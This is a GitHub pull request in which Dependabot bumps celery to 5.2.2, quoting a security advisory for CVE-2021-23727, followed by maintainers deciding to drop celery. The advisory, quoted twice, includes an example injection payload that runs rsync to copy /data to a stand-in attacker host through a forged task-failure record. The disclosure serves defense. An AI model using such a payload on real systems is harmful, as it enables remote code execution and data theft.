Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Bump celery from 5.2.1 to 5.2.2 in /ci/helpers #2727

Closed
wants to merge 3 commits into from

Conversation

dependabot[bot]
Copy link
Contributor

@dependabot dependabot bot commented on behalf of github Jan 7, 2022

Bumps celery from 5.2.1 to 5.2.2.

Release notes

Sourced from celery's releases.

5.2.2

Release date: 2021-12-26 16:30 P.M UTC+2:00

Release by: Omer Katz

  • Various documentation fixes.

  • Fix CVE-2021-23727 (Stored Command Injection security vulnerability).

    When a task fails, the failure information is serialized in the backend. In some cases, the exception class is only importable from the consumer's code base. In this case, we reconstruct the exception class so that we can re-raise the error on the process which queried the task's result. This was introduced in #4836. If the recreated exception type isn't an exception, this is a security issue. Without the condition included in this patch, an attacker could inject a remote code execution instruction such as: os.system("rsync /data attacker@192.168.56.100:~/data") by setting the task's result to a failure in the result backend with the os, the system function as the exception type and the payload rsync /data attacker@192.168.56.100:~/data as the exception arguments like so:

    {
          "exc_module": "os",
          'exc_type': "system",
          "exc_message": "rsync /data attacker@192.168.56.100:~/data"
    }

    According to my analysis, this vulnerability can only be exploited if the producer delayed a task which runs long enough for the attacker to change the result mid-flight, and the producer has polled for the task's result. The attacker would also have to gain access to the result backend. The severity of this security vulnerability is low, but we still recommend upgrading.

Changelog

Sourced from celery's changelog.

5.2.2

:release-date: 2021-12-26 16:30 P.M UTC+2:00 :release-by: Omer Katz

  • Various documentation fixes.

  • Fix CVE-2021-23727 (Stored Command Injection security vulnerability).

    When a task fails, the failure information is serialized in the backend. In some cases, the exception class is only importable from the consumer's code base. In this case, we reconstruct the exception class so that we can re-raise the error on the process which queried the task's result. This was introduced in #4836. If the recreated exception type isn't an exception, this is a security issue. Without the condition included in this patch, an attacker could inject a remote code execution instruction such as: os.system("rsync /data attacker@192.168.56.100:~/data") by setting the task's result to a failure in the result backend with the os, the system function as the exception type and the payload rsync /data attacker@192.168.56.100:~/data as the exception arguments like so:

    .. code-block:: python

      {
            "exc_module": "os",
            'exc_type': "system",
            "exc_message": "rsync /data attacker@192.168.56.100:~/data"
      }
    

    According to my analysis, this vulnerability can only be exploited if the producer delayed a task which runs long enough for the attacker to change the result mid-flight, and the producer has polled for the task's result. The attacker would also have to gain access to the result backend. The severity of this security vulnerability is low, but we still recommend upgrading.

.. _version-5.2.1:

Commits

Dependabot compatibility score

Dependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting @dependabot rebase.


Dependabot commands and options

You can trigger Dependabot actions by commenting on this PR:

  • @dependabot rebase will rebase this PR
  • @dependabot recreate will recreate this PR, overwriting any edits that have been made to it
  • @dependabot merge will merge this PR after your CI passes on it
  • @dependabot squash and merge will squash and merge this PR after your CI passes on it
  • @dependabot cancel merge will cancel a previously requested merge and block automerging
  • @dependabot reopen will reopen this PR if it is closed
  • @dependabot close will close this PR and stop Dependabot recreating it. You can achieve the same result by closing it manually
  • @dependabot ignore this major version will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)
  • @dependabot ignore this minor version will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)
  • @dependabot ignore this dependency will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)
    You can disable automated security fix PRs for this repo from the Security Alerts page.

Bumps [celery](https://github.com/celery/celery) from 5.2.1 to 5.2.2.
- [Release notes](https://github.com/celery/celery/releases)
- [Changelog](https://github.com/celery/celery/blob/master/Changelog.rst)
- [Commits](celery/celery@v5.2.1...v5.2.2)

---
updated-dependencies:
- dependency-name: celery
  dependency-type: direct:production
...

Signed-off-by: dependabot[bot] <support@github.com>
@codecov
Copy link

codecov bot commented Jan 7, 2022

Codecov Report

Merging #2727 (30d37cd) into master (08196f8) will decrease coverage by 0.0%.
The diff coverage is n/a.

Impacted file tree graph

@@           Coverage Diff            @@
##           master   #2727     +/-   ##
========================================
- Coverage    78.2%   78.2%   -0.1%     
========================================
  Files         647     647             
  Lines       26656   26656             
  Branches     2584    2584             
========================================
- Hits        20871   20863      -8     
- Misses       5092    5098      +6     
- Partials      693     695      +2     
Flag Coverage Δ
integrationtests 66.1% <ø> (+<0.1%) ⬆️
unittests 74.0% <ø> (-0.1%) ⬇️

Flags with carried forward coverage won't be shown. Click here to find out more.

Impacted Files Coverage Δ
...ore_service_director_v2/api/routes/computations.py 78.6% <0.0%> (-2.6%) ⬇️
..._director_v2/modules/dynamic_sidecar/client_api.py 67.5% <0.0%> (-1.3%) ⬇️
...car/src/simcore_service_dask_sidecar/dask_utils.py 90.7% <0.0%> (-1.1%) ⬇️
...tor_v2/modules/dynamic_sidecar/scheduler/events.py 92.9% <0.0%> (-0.8%) ⬇️
...simcore_service_director_v2/modules/dask_client.py 81.5% <0.0%> (-0.7%) ⬇️
..._director_v2/modules/dynamic_sidecar/docker_api.py 86.6% <0.0%> (-0.6%) ⬇️
...ector_v2/modules/dynamic_sidecar/scheduler/task.py 86.4% <0.0%> (+0.5%) ⬆️

@pcrespov pcrespov requested a review from sanderegg January 9, 2022 11:28
@pcrespov
Copy link
Member

pcrespov commented Jan 9, 2022

@sanderegg are we actually using celery ?? If not, we should remove this dependency to avoid the maintenance overhead

@sanderegg
Copy link
Member

@sanderegg are we actually using celery ?? If not, we should remove this dependency to avoid the maintenance overhead

@pcrespov no we don't. shall I totally remove it? I thought you wanted to keep it for other goals...

@pcrespov
Copy link
Member

pcrespov commented Jan 9, 2022

@pcrespov no we don't. shall I totally remove it? I thought you wanted to keep it for other goals...

It would be handy to unload the web-server. Perhaps we can find a simple use case this sprint to create a sample that we can use it as reference.

@pcrespov pcrespov self-assigned this Jan 10, 2022
@pcrespov pcrespov added this to the Rudolph milestone Jan 10, 2022
@pcrespov
Copy link
Member

@sanderegg cannot upgrade celery in director-v2 due to a limitation in the version of click and uvicorn imposed by dask-sidecar/requirements/_dask-distributed.txt and requirements/constraints.

@GitHK perhaps we should doing some upgrade work during this week to overcome these limitations.

@pcrespov pcrespov requested review from pcrespov and GitHK and removed request for pcrespov and sanderegg January 10, 2022 04:45
@GitHK
Copy link
Contributor

GitHK commented Jan 10, 2022

@sanderegg cannot upgrade celery in director-v2 due to a limitation in the version of click and uvicorn imposed by dask-sidecar/requirements/_dask-distributed.txt and requirements/constraints.

@GitHK perhaps we should doing some upgrade work during this week to overcome these limitations.

Sounds like a good idea. I'm already having issues upgrading libraries.

@pcrespov
Copy link
Member

@sanderegg @GitHK we agreed to completely remove celery for the time being

@pcrespov pcrespov closed this Jan 10, 2022
@dependabot @github
Copy link
Contributor Author

dependabot bot commented on behalf of github Jan 10, 2022

OK, I won't notify you again about this release, but will get in touch when a new version is available. If you'd rather skip all updates until the next major or minor version, let me know by commenting @dependabot ignore this major version or @dependabot ignore this minor version. You can also ignore all major, minor, or patch releases for a dependency by adding an ignore condition with the desired update_types to your config file.

If you change your mind, just re-open this PR and I'll resolve any conflicts on it.

@dependabot dependabot bot deleted the dependabot/pip/ci/helpers/celery-5.2.2 branch January 10, 2022 12:01
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging this pull request may close these issues.

3 participants